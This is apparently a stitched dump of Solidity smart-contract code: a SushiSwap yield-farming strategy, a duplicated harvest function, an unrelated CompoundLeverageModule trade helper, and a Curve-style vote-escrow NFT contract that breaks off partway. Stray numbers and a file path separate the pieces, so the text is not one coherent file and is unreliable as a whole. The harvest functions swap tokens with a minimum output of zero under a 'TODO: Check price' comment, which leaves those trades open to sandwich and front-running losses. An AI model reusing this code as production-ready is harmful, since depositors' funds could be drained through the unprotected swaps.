// SPDX-License-Identifier: MIT pragma solidity 0.8.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../../interfaces/IWETH.sol"; import "../base/AbstractStrategy.sol"; import "../uniswap-v2/interfaces/IUniswapV2Pair.sol"; import "../uniswap-v2/interfaces/IUniswapV2Router02.sol"; import "./libraries/SushiswapLibrary.sol"; import "./interfaces/IMasterChef.sol"; /** * Deposit one token, exchange half of them to another token using SushiSwap, and then deposit the pair * into SushiSwap for liquidity farming. */ contract StrategySushiswap is AbstractStrategy { using SafeERC20 for IERC20; using Address for address; // The address of token to be paired address public immutable pairToken; address public immutable sushiswap; address public immutable masterChef; address public immutable sushi; // The id of the pool to farm Sushi int256 public immutable poolId; uint256 public lpAmtInPool; uint256 public maxSlippage; uint256 public maxOneDeposit; constructor( address _controller, address _supplyToken, address _pairToken, address _sushiswap, address _masterChef, address _sushi, uint256 _maxSlippage, uint256 _maxOneDeposit, int256 _poolId ) AbstractStrategy(_controller, _supplyToken) { pairToken = _pairToken; sushiswap = _sushiswap; masterChef = _masterChef; sushi = _sushi; maxSlippage = _maxSlippage; maxOneDeposit = _maxOneDeposit; poolId = _poolId; } /** * @dev Require that the caller must be an EOA account to avoid flash loans. */ modifier onlyEOA() { require(msg.sender == tx.origin, "Not EOA"); _; } function getAssetAmount() public view override returns (uint256) { address _supplyToken = supplyToken; address _pairToken = pairToken; IUniswapV2Pair pair = IUniswapV2Pair( SushiswapLibrary.pairFor(IUniswapV2Router02(sushiswap).factory(), _supplyToken, _pairToken) ); uint256 myLiquidity = pair.balanceOf(address(this)) + lpAmtInPool; if (myLiquidity == 0) { return IERC20(supplyToken).balanceOf(address(this)); // should include the assets not yet adjusted } uint256 totalSupply = pair.totalSupply(); (address token0, ) = SushiswapLibrary.sortTokens(_supplyToken, _pairToken); (uint256 reserve0, uint256 reserve1, ) = pair.getReserves(); if (_supplyToken != token0) { (reserve0, reserve1) = (reserve1, reserve0); } uint256 myReserve0 = (myLiquidity * reserve0) / totalSupply; uint256 myReserve1 = (myLiquidity * reserve1) / totalSupply; uint256 myReserve1Out = SushiswapLibrary.getAmountOut(myReserve1, reserve1, reserve0); return myReserve0 + myReserve1Out + IERC20(supplyToken).balanceOf(address(this)); // should include the assets not yet adjusted } function buy(uint256 _buyAmount) internal override returns (uint256) { // Pull supplying token(e.g. USDC, USDT) from Controller IERC20(supplyToken).safeTransferFrom(msg.sender, address(this), _buyAmount); // do virtual buy here, actual buy is done in adjust method return _buyAmount; } function sell(uint256 _sellAmount) internal override returns (uint256) { address _supplyToken = supplyToken; uint256 balanceBeforeSell = IERC20(_supplyToken).balanceOf(address(this)); uint256 amtFromUniswap; if (balanceBeforeSell < _sellAmount) { amtFromUniswap = _sellAmount - balanceBeforeSell; } if (amtFromUniswap > 0) { address _pairToken = pairToken; address _sushiswap = sushiswap; IUniswapV2Pair pair = IUniswapV2Pair( SushiswapLibrary.pairFor(IUniswapV2Router02(_sushiswap).factory(), _supplyToken, _pairToken) ); uint256 lpInMyAddress = pair.balanceOf(address(this)); uint256 toSellLiquidity = ((lpInMyAddress + lpAmtInPool) * amtFromUniswap) / (getAssetAmount() - balanceBeforeSell); if (toSellLiquidity > lpInMyAddress) { assert(poolId != -1); uint256 withdrawAmt = toSellLiquidity - lpInMyAddress; lpAmtInPool -= withdrawAmt; IMasterChef(masterChef).withdraw(uint256(poolId), withdrawAmt); } pair.approve(_sushiswap, toSellLiquidity); (uint256 amountS, uint256 amountP) = IUniswapV2Router02(_sushiswap).removeLiquidity( _supplyToken, _pairToken, toSellLiquidity, 0, 0, address(this), block.timestamp + 1800 ); IERC20(_pairToken).safeIncreaseAllowance(_sushiswap, amountP); address[] memory paths = new address[](2); paths[0] = _pairToken; paths[1] = _supplyToken; IUniswapV2Router02(_sushiswap).swapExactTokensForTokens( amountP, ((amtFromUniswap - amountS) * (1e18 - maxSlippage)) / 1e18, paths, address(this), block.timestamp + 1800 ); _sellAmount = IERC20(_supplyToken).balanceOf(address(this)); } IERC20(_supplyToken).safeTransfer(msg.sender, _sellAmount); return _sellAmount; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function adjust() external override onlyEOA { address _supplyToken = supplyToken; address _pairToken = pairToken; address _sushiswap = sushiswap; uint256 balance = IERC20(_supplyToken).balanceOf(address(this)); require(balance > 0, "StrategyUniswapV2: no balance"); uint256 toBuy = min(balance, maxOneDeposit); uint256 half = toBuy / 2; IUniswapV2Pair pair = IUniswapV2Pair( SushiswapLibrary.pairFor(IUniswapV2Router02(_sushiswap).factory(), _supplyToken, _pairToken) ); // swap half for pair token { IERC20(_supplyToken).safeIncreaseAllowance(_sushiswap, half); address[] memory paths = new address[](2); paths[0] = _supplyToken; paths[1] = _pairToken; (uint256 reserve0, uint256 reserve1, ) = pair.getReserves(); uint256 expectOut = SushiswapLibrary.getAmountOut(half, reserve0, reserve1); IUniswapV2Router02(_sushiswap).swapExactTokensForTokens( half, (expectOut * (1e18 - maxSlippage)) / 1e18, paths, address(this), block.timestamp + 1800 ); } uint256 swappedPairTokenAmt = IERC20(_pairToken).balanceOf(address(this)); IERC20(_supplyToken).safeIncreaseAllowance(_sushiswap, half); IERC20(_pairToken).safeIncreaseAllowance(_sushiswap, swappedPairTokenAmt); IUniswapV2Router02(_sushiswap).addLiquidity( _supplyToken, _pairToken, half, swappedPairTokenAmt, 0, 0, address(this), block.timestamp + 1800 ); // deposit into pool for Sushi farming if (poolId != -1) { uint256 lpInMyAddress = pair.balanceOf(address(this)); pair.approve(masterChef, lpInMyAddress); IMasterChef(masterChef).deposit(uint256(poolId), lpInMyAddress); lpAmtInPool += lpInMyAddress; } } function harvest() external override onlyEOA { address _supplyToken = supplyToken; address _pairToken = pairToken; address _sushiswap = sushiswap; // swap the left pair token in my address back to supply token uint256 balance = IERC20(_pairToken).balanceOf(address(this)); if (balance > 0) { IERC20(_pairToken).safeIncreaseAllowance(_sushiswap, balance); address[] memory paths = new address[](2); paths[0] = _pairToken; paths[1] = _supplyToken; // TODO: Check price IUniswapV2Router02(_sushiswap).swapExactTokensForTokens( balance, uint256(0), paths, address(this), block.timestamp + 1800 ); } if (poolId != -1) { IMasterChef(masterChef).withdraw(uint256(poolId), 0); // to trigger sushi harvest only uint256 sushiBalance = IERC20(sushi).balanceOf(address(this)); if (sushiBalance > 0) { // Sell Sushi token for obtain more supplying token(e.g. USDC) IERC20(sushi).safeIncreaseAllowance(_sushiswap, sushiBalance); address[] memory paths = new address[](2); paths[0] = sushi; paths[1] = supplyToken; // TODO: Check price IUniswapV2Router02(_sushiswap).swapExactTokensForTokens( sushiBalance, uint256(0), paths, address(this), block.timestamp + 1800 ); } } } function setMaxOneDeposit(uint256 _maxOneDeposit) external onlyOwner { maxOneDeposit = _maxOneDeposit; } function setMaxSlippage(uint256 _maxSlippage) external onlyOwner { maxSlippage = _maxSlippage; } function protectedTokens() internal view override returns (address[] memory) { address[] memory protected = new address[](2); protected[0] = pairToken; protected[1] = sushi; return protected; } }
swap the left pair token in my address back to supply token TODO: Check price Sell Sushi token for obtain more supplying token(e.g. USDC) TODO: Check price
function harvest() external override onlyEOA { address _supplyToken = supplyToken; address _pairToken = pairToken; address _sushiswap = sushiswap; uint256 balance = IERC20(_pairToken).balanceOf(address(this)); if (balance > 0) { IERC20(_pairToken).safeIncreaseAllowance(_sushiswap, balance); address[] memory paths = new address[](2); paths[0] = _pairToken; paths[1] = _supplyToken; IUniswapV2Router02(_sushiswap).swapExactTokensForTokens( balance, uint256(0), paths, address(this), block.timestamp + 1800 ); } if (poolId != -1) { uint256 sushiBalance = IERC20(sushi).balanceOf(address(this)); if (sushiBalance > 0) { IERC20(sushi).safeIncreaseAllowance(_sushiswap, sushiBalance); address[] memory paths = new address[](2); paths[0] = sushi; paths[1] = supplyToken; IUniswapV2Router02(_sushiswap).swapExactTokensForTokens( sushiBalance, uint256(0), paths, address(this), block.timestamp + 1800 ); } } }
12,675,957
./partial_match/42/0x579AbEEE14a52A4CA6707a4590c524Dc149D56a1/sources/CompoundLeverageModule.sol
Invokes approvals, gets trade call data from exchange adapter and invokes trade from SetToken/
function _executeTrade( ISetToken _setToken, address _sendToken, address _receiveToken, uint256 _notionalSendQuantity, uint256 _minNotionalReceiveQuantity, IExchangeAdapter _exchangeAdapter, bytes memory _data ) internal { _setToken.invokeApprove( _sendToken, _exchangeAdapter.getSpender(), _notionalSendQuantity ); ( address targetExchange, uint256 callValue, bytes memory methodData ) = _exchangeAdapter.getTradeCalldata( _sendToken, _receiveToken, address(_setToken), _notionalSendQuantity, _minNotionalReceiveQuantity, _data ); _setToken.invoke(targetExchange, callValue, methodData); }
3,334,040
// SPDX-License-Identifier: MIT pragma solidity >=0.8.0; import '../interfaces/IERC20.sol'; import '../interfaces/IERC721.sol'; import '../interfaces/IERC721Metadata.sol'; import '../interfaces/IERC721Receiver.sol'; import '../Dependencies/Base64.sol'; /** @title Voting Escrow @author Curve Finance @notice Votes have a weight depending on time, so that users are committed to the future of (whatever they are voting for) @dev Vote weight decays linearly over time. Lock time cannot be more than `MAXTIME` (4 years). # Voting escrow to have time-weighted votes # Votes have a weight depending on time, so that users are committed # to the future of (whatever they are voting for). # The weight in this implementation is linear, and lock cannot be more than maxtime: # w ^ # 1 + / # | / # | / # | / # |/ # 0 +--------+------> time # maxtime (4 years?) */ contract VotedEscrow is IERC721, IERC721Metadata { enum DepositType { DEPOSIT_FOR_TYPE, CREATE_LOCK_TYPE, INCREASE_LOCK_AMOUNT, INCREASE_UNLOCK_TIME, MERGE_TYPE } event Deposit( address indexed provider, uint tokenId, uint value, uint indexed locktime, DepositType deposit_type, uint ts ); event Withdraw(address indexed provider, uint tokenId, uint value, uint ts); event Supply(uint prevSupply, uint supply); uint internal constant WEEK = 1 weeks; uint internal constant MAXTIME = 4 * 365 * 86400; int128 internal constant iMAXTIME = 4 * 365 * 86400; uint internal constant MULTIPLIER = 1 ether; struct Point { int128 bias; int128 slope; // # -dweight / dt uint ts; uint blk; // block } /* We cannot really do block numbers per se b/c slope is per time, not per block * and per block could be fairly bad b/c Ethereum changes blocktimes. * What we can do is to extrapolate ***At functions */ struct LockedBalance { int128 amount; uint end; } address immutable public token; uint public supply; uint public epoch; mapping(uint => LockedBalance) public locked; mapping(uint => uint) public ownership_change; mapping(uint => Point) public point_history; // epoch -> unsigned point mapping(uint => Point[1000000000]) public user_point_history; // user -> Point[user_epoch] mapping(uint => uint) public user_point_epoch; mapping(uint => int128) public slope_changes; // time -> signed slope change mapping(uint => uint) public attachments; mapping(uint => bool) public voted; address public voter; string constant public override name = "veNFT"; string constant public override symbol = "veNFT"; string constant public version = "1.0.0"; uint8 constant public decimals = 18; /// @dev Current count of token uint internal tokenId; /// @dev Mapping from NFT ID to the address that owns it. mapping(uint => address) internal idToOwner; /// @dev Mapping from NFT ID to approved address. mapping(uint => address) internal idToApprovals; /// @dev Mapping from owner address to count of his tokens. mapping(address => uint) internal ownerToNFTokenCount; /// @dev Mapping from owner address to mapping of index to tokenIds mapping(address => mapping(uint => uint)) internal ownerToNFTokenIdList; /// @dev Mapping from NFT ID to index of owner mapping(uint => uint) internal tokenToOwnerIndex; /// @dev Mapping from owner address to mapping of operator addresses. mapping(address => mapping(address => bool)) internal ownerToOperators; /// @dev Mapping of interface id to bool about whether or not it's supported mapping(bytes4 => bool) internal supportedInterfaces; /// @dev ERC165 interface ID of ERC165 bytes4 internal constant ERC165_INTERFACE_ID = 0x01ffc9a7; /// @dev ERC165 interface ID of ERC721 bytes4 internal constant ERC721_INTERFACE_ID = 0x80ac58cd; /// @dev ERC165 interface ID of ERC721Metadata bytes4 internal constant ERC721_METADATA_INTERFACE_ID = 0x5b5e139f; /// @dev reentrancy guard uint8 internal constant _not_entered = 1; uint8 internal constant _entered = 2; uint8 internal _entered_state = 1; modifier nonreentrant() { require(_entered_state == _not_entered); _entered_state = _entered; _; _entered_state = _not_entered; } /// @notice Contract constructor /// @param token_addr `ERC20CRV` token address constructor( address token_addr ) { token = token_addr; voter = msg.sender; point_history[0].blk = block.number; point_history[0].ts = block.timestamp; supportedInterfaces[ERC165_INTERFACE_ID] = true; supportedInterfaces[ERC721_INTERFACE_ID] = true; supportedInterfaces[ERC721_METADATA_INTERFACE_ID] = true; // mint-ish emit Transfer(address(0), address(this), tokenId); // burn-ish emit Transfer(address(this), address(0), tokenId); } /// @dev Interface identification is specified in ERC-165. /// @param _interfaceID Id of the interface function supportsInterface(bytes4 _interfaceID) override external view returns (bool) { return supportedInterfaces[_interfaceID]; } /// @notice Get the most recently recorded rate of voting power decrease for `_tokenId` /// @param _tokenId token of the NFT /// @return Value of the slope function get_last_user_slope(uint _tokenId) external view returns (int128) { uint uepoch = user_point_epoch[_tokenId]; return user_point_history[_tokenId][uepoch].slope; } /// @notice Get the timestamp for checkpoint `_idx` for `_tokenId` /// @param _tokenId token of the NFT /// @param _idx User epoch number /// @return Epoch time of the checkpoint function user_point_history__ts(uint _tokenId, uint _idx) external view returns (uint) { return user_point_history[_tokenId][_idx].ts; } /// @notice Get timestamp when `_tokenId`'s lock finishes /// @param _tokenId User NFT /// @return Epoch time of the lock end function locked__end(uint _tokenId) external view returns (uint) { return locked[_tokenId].end; } /// @dev Returns the number of NFTs owned by `_owner`. /// Throws if `_owner` is the zero address. NFTs assigned to the zero address are considered invalid. /// @param _owner Address for whom to query the balance. function _balance(address _owner) internal view returns (uint) { return ownerToNFTokenCount[_owner]; } /// @dev Returns the number of NFTs owned by `_owner`. /// Throws if `_owner` is the zero address. NFTs assigned to the zero address are considered invalid. /// @param _owner Address for whom to query the balance. function balanceOf(address _owner) override external view returns (uint) { return _balance(_owner); } /// @dev Returns the address of the owner of the NFT. /// @param _tokenId The identifier for an NFT. function ownerOf(uint _tokenId) public override view returns (address) { return idToOwner[_tokenId]; } /// @dev Get the approved address for a single NFT. /// @param _tokenId ID of the NFT to query the approval of. function getApproved(uint _tokenId) external override view returns (address) { return idToApprovals[_tokenId]; } /// @dev Checks if `_operator` is an approved operator for `_owner`. /// @param _owner The address that owns the NFTs. /// @param _operator The address that acts on behalf of the owner. function isApprovedForAll(address _owner, address _operator) override external view returns (bool) { return (ownerToOperators[_owner])[_operator]; } /// @dev Get token by index function tokenOfOwnerByIndex(address _owner, uint _tokenIndex) external view returns (uint) { return ownerToNFTokenIdList[_owner][_tokenIndex]; } /// @dev Returns whether the given spender can transfer a given token ID /// @param _spender address of the spender to query /// @param _tokenId uint ID of the token to be transferred /// @return bool whether the msg.sender is approved for the given token ID, is an operator of the owner, or is the owner of the token function _isApprovedOrOwner(address _spender, uint _tokenId) internal view returns (bool) { address owner = idToOwner[_tokenId]; bool spenderIsOwner = owner == _spender; bool spenderIsApproved = _spender == idToApprovals[_tokenId]; bool spenderIsApprovedForAll = (ownerToOperators[owner])[_spender]; return spenderIsOwner || spenderIsApproved || spenderIsApprovedForAll; } function isApprovedOrOwner(address _spender, uint _tokenId) external view returns (bool) { return _isApprovedOrOwner(_spender, _tokenId); } /// @dev Add a NFT to an index mapping to a given address /// @param _to address of the receiver /// @param _tokenId uint ID Of the token to be added function _addTokenToOwnerList(address _to, uint _tokenId) internal { uint current_count = _balance(_to); ownerToNFTokenIdList[_to][current_count] = _tokenId; tokenToOwnerIndex[_tokenId] = current_count; } /// @dev Remove a NFT from an index mapping to a given address /// @param _from address of the sender /// @param _tokenId uint ID Of the token to be removed function _removeTokenFromOwnerList(address _from, uint _tokenId) internal { // Delete uint current_count = _balance(_from)-1; uint current_index = tokenToOwnerIndex[_tokenId]; if (current_count == current_index) { // update ownerToNFTokenIdList ownerToNFTokenIdList[_from][current_count] = 0; // update tokenToOwnerIndex tokenToOwnerIndex[_tokenId] = 0; } else { uint lastTokenId = ownerToNFTokenIdList[_from][current_count]; // Add // update ownerToNFTokenIdList ownerToNFTokenIdList[_from][current_index] = lastTokenId; // update tokenToOwnerIndex tokenToOwnerIndex[lastTokenId] = current_index; // Delete // update ownerToNFTokenIdList ownerToNFTokenIdList[_from][current_count] = 0; // update tokenToOwnerIndex tokenToOwnerIndex[_tokenId] = 0; } } /// @dev Add a NFT to a given address /// Throws if `_tokenId` is owned by someone. function _addTokenTo(address _to, uint _tokenId) internal { // Throws if `_tokenId` is owned by someone assert(idToOwner[_tokenId] == address(0)); // Change the owner idToOwner[_tokenId] = _to; // Update owner token index tracking _addTokenToOwnerList(_to, _tokenId); // Change count tracking ownerToNFTokenCount[_to] += 1; } /// @dev Remove a NFT from a given address /// Throws if `_from` is not the current owner. function _removeTokenFrom(address _from, uint _tokenId) internal { // Throws if `_from` is not the current owner assert(idToOwner[_tokenId] == _from); // Change the owner idToOwner[_tokenId] = address(0); // Update owner token index tracking _removeTokenFromOwnerList(_from, _tokenId); // Change count tracking ownerToNFTokenCount[_from] -= 1; } /// @dev Clear an approval of a given address /// Throws if `_owner` is not the current owner. function _clearApproval(address _owner, uint _tokenId) internal { // Throws if `_owner` is not the current owner assert(idToOwner[_tokenId] == _owner); if (idToApprovals[_tokenId] != address(0)) { // Reset approvals idToApprovals[_tokenId] = address(0); } } /// @dev Exeute transfer of a NFT. /// Throws unless `msg.sender` is the current owner, an authorized operator, or the approved /// address for this NFT. (NOTE: `msg.sender` not allowed in internal function so pass `_sender`.) /// Throws if `_to` is the zero address. /// Throws if `_from` is not the current owner. /// Throws if `_tokenId` is not a valid NFT. function _transferFrom( address _from, address _to, uint _tokenId, address _sender ) internal { require(attachments[_tokenId] == 0 && !voted[_tokenId], "attached"); // Check requirements require(_isApprovedOrOwner(_sender, _tokenId)); // Clear approval. Throws if `_from` is not the current owner _clearApproval(_from, _tokenId); // Remove NFT. Throws if `_tokenId` is not a valid NFT _removeTokenFrom(_from, _tokenId); // Add NFT _addTokenTo(_to, _tokenId); // Set the block of ownership transfer (for Flash NFT protection) ownership_change[_tokenId] = block.number; // Log the transfer emit Transfer(_from, _to, _tokenId); } /* TRANSFER FUNCTIONS */ /// @dev Throws unless `msg.sender` is the current owner, an authorized operator, or the approved address for this NFT. /// Throws if `_from` is not the current owner. /// Throws if `_to` is the zero address. /// Throws if `_tokenId` is not a valid NFT. /// @notice The caller is responsible to confirm that `_to` is capable of receiving NFTs or else /// they maybe be permanently lost. /// @param _from The current owner of the NFT. /// @param _to The new owner. /// @param _tokenId The NFT to transfer. function transferFrom( address _from, address _to, uint _tokenId ) external override { _transferFrom(_from, _to, _tokenId, msg.sender); } function _isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint size; assembly { size := extcodesize(account) } return size > 0; } /// @dev Transfers the ownership of an NFT from one address to another address. /// Throws unless `msg.sender` is the current owner, an authorized operator, or the /// approved address for this NFT. /// Throws if `_from` is not the current owner. /// Throws if `_to` is the zero address. /// Throws if `_tokenId` is not a valid NFT. /// If `_to` is a smart contract, it calls `onERC721Received` on `_to` and throws if /// the return value is not `bytes4(keccak256("onERC721Received(address,address,uint,bytes)"))`. /// @param _from The current owner of the NFT. /// @param _to The new owner. /// @param _tokenId The NFT to transfer. /// @param _data Additional data with no specified format, sent in call to `_to`. function safeTransferFrom( address _from, address _to, uint _tokenId, bytes memory _data ) public override { _transferFrom(_from, _to, _tokenId, msg.sender); if (_isContract(_to)) { // Throws if transfer destination is a contract which does not implement 'onERC721Received' try IERC721Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data) returns (bytes4) {} catch ( bytes memory reason ) { if (reason.length == 0) { revert('ERC721: transfer to non ERC721Receiver implementer'); } else { assembly { revert(add(32, reason), mload(reason)) } } } } } /// @dev Transfers the ownership of an NFT from one address to another address. /// Throws unless `msg.sender` is the current owner, an authorized operator, or the /// approved address for this NFT. /// Throws if `_from` is not the current owner. /// Throws if `_to` is the zero address. /// Throws if `_tokenId` is not a valid NFT. /// If `_to` is a smart contract, it calls `onERC721Received` on `_to` and throws if /// the return value is not `bytes4(keccak256("onERC721Received(address,address,uint,bytes)"))`. /// @param _from The current owner of the NFT. /// @param _to The new owner. /// @param _tokenId The NFT to transfer. function safeTransferFrom( address _from, address _to, uint _tokenId ) external override { safeTransferFrom(_from, _to, _tokenId, ''); } /// @dev Set or reaffirm the approved address for an NFT. The zero address indicates there is no approved address. /// Throws unless `msg.sender` is the current NFT owner, or an authorized operator of the current owner. /// Throws if `_tokenId` is not a valid NFT. (NOTE: This is not written the EIP) /// Throws if `_approved` is the current owner. (NOTE: This is not written the EIP) /// @param _approved Address to be approved for the given NFT ID. /// @param _tokenId ID of the token to be approved. function approve(address _approved, uint _tokenId) override public { address owner = idToOwner[_tokenId]; // Throws if `_tokenId` is not a valid NFT require(owner != address(0)); // Throws if `_approved` is the current owner require(_approved != owner); // Check requirements bool senderIsOwner = (idToOwner[_tokenId] == msg.sender); bool senderIsApprovedForAll = (ownerToOperators[owner])[msg.sender]; require(senderIsOwner || senderIsApprovedForAll); // Set the approval idToApprovals[_tokenId] = _approved; emit Approval(owner, _approved, _tokenId); } /// @dev Enables or disables approval for a third party ("operator") to manage all of /// `msg.sender`'s assets. It also emits the ApprovalForAll event. /// Throws if `_operator` is the `msg.sender`. (NOTE: This is not written the EIP) /// @notice This works even if sender doesn't own any tokens at the time. /// @param _operator Address to add to the set of authorized operators. /// @param _approved True if the operators is approved, false to revoke approval. function setApprovalForAll(address _operator, bool _approved) external override { // Throws if `_operator` is the `msg.sender` assert(_operator != msg.sender); ownerToOperators[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } /// @dev Function to mint tokens /// Throws if `_to` is zero address. /// Throws if `_tokenId` is owned by someone. /// @param _to The address that will receive the minted tokens. /// @param _tokenId The token id to mint. /// @return A boolean that indicates if the operation was successful. function _mint(address _to, uint _tokenId) internal returns (bool) { // Throws if `_to` is zero address assert(_to != address(0)); // Add NFT. Throws if `_tokenId` is owned by someone _addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); return true; } /// @notice Record global and per-user data to checkpoint /// @param _tokenId NFT token ID. No user checkpoint if 0 /// @param old_locked Pevious locked amount / end lock time for the user /// @param new_locked New locked amount / end lock time for the user function _checkpoint( uint _tokenId, LockedBalance memory old_locked, LockedBalance memory new_locked ) internal { Point memory u_old; Point memory u_new; int128 old_dslope = 0; int128 new_dslope = 0; uint _epoch = epoch; if (_tokenId != 0) { // Calculate slopes and biases // Kept at zero when they have to if (old_locked.end > block.timestamp && old_locked.amount > 0) { u_old.slope = old_locked.amount / iMAXTIME; u_old.bias = u_old.slope * int128(int256(old_locked.end - block.timestamp)); } if (new_locked.end > block.timestamp && new_locked.amount > 0) { u_new.slope = new_locked.amount / iMAXTIME; u_new.bias = u_new.slope * int128(int256(new_locked.end - block.timestamp)); } // Read values of scheduled changes in the slope // old_locked.end can be in the past and in the future // new_locked.end can ONLY by in the FUTURE unless everything expired: than zeros old_dslope = slope_changes[old_locked.end]; if (new_locked.end != 0) { if (new_locked.end == old_locked.end) { new_dslope = old_dslope; } else { new_dslope = slope_changes[new_locked.end]; } } } Point memory last_point = Point({bias: 0, slope: 0, ts: block.timestamp, blk: block.number}); if (_epoch > 0) { last_point = point_history[_epoch]; } uint last_checkpoint = last_point.ts; // initial_last_point is used for extrapolation to calculate block number // (approximately, for *At methods) and save them // as we cannot figure that out exactly from inside the contract Point memory initial_last_point = last_point; uint block_slope = 0; // dblock/dt if (block.timestamp > last_point.ts) { block_slope = (MULTIPLIER * (block.number - last_point.blk)) / (block.timestamp - last_point.ts); } // If last point is already recorded in this block, slope=0 // But that's ok b/c we know the block in such case // Go over weeks to fill history and calculate what the current point is { uint t_i = (last_checkpoint / WEEK) * WEEK; for (uint i = 0; i < 255; ++i) { // Hopefully it won't happen that this won't get used in 5 years! // If it does, users will be able to withdraw but vote weight will be broken t_i += WEEK; int128 d_slope = 0; if (t_i > block.timestamp) { t_i = block.timestamp; } else { d_slope = slope_changes[t_i]; } last_point.bias -= last_point.slope * int128(int256(t_i - last_checkpoint)); last_point.slope += d_slope; if (last_point.bias < 0) { // This can happen last_point.bias = 0; } if (last_point.slope < 0) { // This cannot happen - just in case last_point.slope = 0; } last_checkpoint = t_i; last_point.ts = t_i; last_point.blk = initial_last_point.blk + (block_slope * (t_i - initial_last_point.ts)) / MULTIPLIER; _epoch += 1; if (t_i == block.timestamp) { last_point.blk = block.number; break; } else { point_history[_epoch] = last_point; } } } epoch = _epoch; // Now point_history is filled until t=now if (_tokenId != 0) { // If last point was in this block, the slope change has been applied already // But in such case we have 0 slope(s) last_point.slope += (u_new.slope - u_old.slope); last_point.bias += (u_new.bias - u_old.bias); if (last_point.slope < 0) { last_point.slope = 0; } if (last_point.bias < 0) { last_point.bias = 0; } } // Record the changed point into history point_history[_epoch] = last_point; if (_tokenId != 0) { // Schedule the slope changes (slope is going down) // We subtract new_user_slope from [new_locked.end] // and add old_user_slope to [old_locked.end] if (old_locked.end > block.timestamp) { // old_dslope was <something> - u_old.slope, so we cancel that old_dslope += u_old.slope; if (new_locked.end == old_locked.end) { old_dslope -= u_new.slope; // It was a new deposit, not extension } slope_changes[old_locked.end] = old_dslope; } if (new_locked.end > block.timestamp) { if (new_locked.end > old_locked.end) { new_dslope -= u_new.slope; // old slope disappeared at this point slope_changes[new_locked.end] = new_dslope; } // else: we recorded it already in old_dslope } // Now handle user history uint user_epoch = user_point_epoch[_tokenId] + 1; user_point_epoch[_tokenId] = user_epoch; u_new.ts = block.timestamp; u_new.blk = block.number; user_point_history[_tokenId][user_epoch] = u_new; } } /// @notice Deposit and lock tokens for a user /// @param _tokenId NFT that holds lock /// @param _value Amount to deposit /// @param unlock_time New time when to unlock the tokens, or 0 if unchanged /// @param locked_balance Previous locked amount / timestamp /// @param deposit_type The type of deposit function _deposit_for( uint _tokenId, uint _value, uint unlock_time, LockedBalance memory locked_balance, DepositType deposit_type ) internal { LockedBalance memory _locked = locked_balance; uint supply_before = supply; supply = supply_before + _value; LockedBalance memory old_locked; (old_locked.amount, old_locked.end) = (_locked.amount, _locked.end); // Adding to existing lock, or if a lock is expired - creating a new one _locked.amount += int128(int256(_value)); if (unlock_time != 0) { _locked.end = unlock_time; } locked[_tokenId] = _locked; // Possibilities: // Both old_locked.end could be current or expired (>/< block.timestamp) // value == 0 (extend lock) or value > 0 (add to lock or extend lock) // _locked.end > block.timestamp (always) _checkpoint(_tokenId, old_locked, _locked); address from = msg.sender; if (_value != 0 && deposit_type != DepositType.MERGE_TYPE) { assert(IERC20(token).transferFrom(from, address(this), _value)); } emit Deposit(from, _tokenId, _value, _locked.end, deposit_type, block.timestamp); emit Supply(supply_before, supply_before + _value); } function setVoter(address _voter) external { require(msg.sender == voter); voter = _voter; } function voting(uint _tokenId) external { require(msg.sender == voter); voted[_tokenId] = true; } function abstain(uint _tokenId) external { require(msg.sender == voter); voted[_tokenId] = false; } function attach(uint _tokenId) external { require(msg.sender == voter); attachments[_tokenId] = attachments[_tokenId]+1; } function detach(uint _tokenId) external { require(msg.sender == voter); attachments[_tokenId] = attachments[_tokenId]-1; } function merge(uint _from, uint _to) external { require(attachments[_from] == 0 && !voted[_from], "attached"); require(_from != _to); require(_isApprovedOrOwner(msg.sender, _from)); require(_isApprovedOrOwner(msg.sender, _to)); LockedBalance memory _locked0 = locked[_from]; LockedBalance memory _locked1 = locked[_to]; uint value0 = uint(int256(_locked0.amount)); uint end = _locked0.end >= _locked1.end ? _locked0.end : _locked1.end; locked[_from] = LockedBalance(0, 0); _checkpoint(_from, _locked0, LockedBalance(0, 0)); _burn(_from); _deposit_for(_to, value0, end, _locked1, DepositType.MERGE_TYPE); } function block_number() external view returns (uint) { return block.number; } /// @notice Record global data to checkpoint function checkpoint() external { _checkpoint(0, LockedBalance(0, 0), LockedBalance(0, 0)); } /// @notice Deposit `_value` tokens for `_tokenId` and add to the lock /// @dev Anyone (even a smart contract) can deposit for someone else, but /// cannot extend their locktime and deposit for a brand new user /// @param _tokenId lock NFT /// @param _value Amount to add to user's lock function deposit_for(uint _tokenId, uint _value) external nonreentrant { LockedBalance memory _locked = locked[_tokenId]; require(_value > 0); // dev: need non-zero value require(_locked.amount > 0, 'No existing lock found'); require(_locked.end > block.timestamp, 'Cannot add to expired lock. Withdraw'); _deposit_for(_tokenId, _value, 0, _locked, DepositType.DEPOSIT_FOR_TYPE); } /// @notice Deposit `_value` tokens for `_to` and lock for `_lock_duration` /// @param _value Amount to deposit /// @param _lock_duration Number of seconds to lock tokens for (rounded down to nearest week) /// @param _to Address to deposit function _create_lock(uint _value, uint _lock_duration, address _to) internal returns (uint) { uint unlock_time = (block.timestamp + _lock_duration) / WEEK * WEEK; // Locktime is rounded down to weeks require(_value > 0); // dev: need non-zero value require(unlock_time > block.timestamp, 'Can only lock until time in the future'); require(unlock_time <= block.timestamp + MAXTIME, 'Voting lock can be 4 years max'); ++tokenId; uint _tokenId = tokenId; _mint(_to, _tokenId); _deposit_for(_tokenId, _value, unlock_time, locked[_tokenId], DepositType.CREATE_LOCK_TYPE); return _tokenId; } /// @notice Deposit `_value` tokens for `_to` and lock for `_lock_duration` /// @param _value Amount to deposit /// @param _lock_duration Number of seconds to lock tokens for (rounded down to nearest week) /// @param _to Address to deposit function create_lock_for(uint _value, uint _lock_duration, address _to) external nonreentrant returns (uint) { return _create_lock(_value, _lock_duration, _to); } /// @notice Deposit `_value` tokens for `msg.sender` and lock for `_lock_duration` /// @param _value Amount to deposit /// @param _lock_duration Number of seconds to lock tokens for (rounded down to nearest week) function create_lock(uint _value, uint _lock_duration) external nonreentrant returns (uint) { return _create_lock(_value, _lock_duration, msg.sender); } 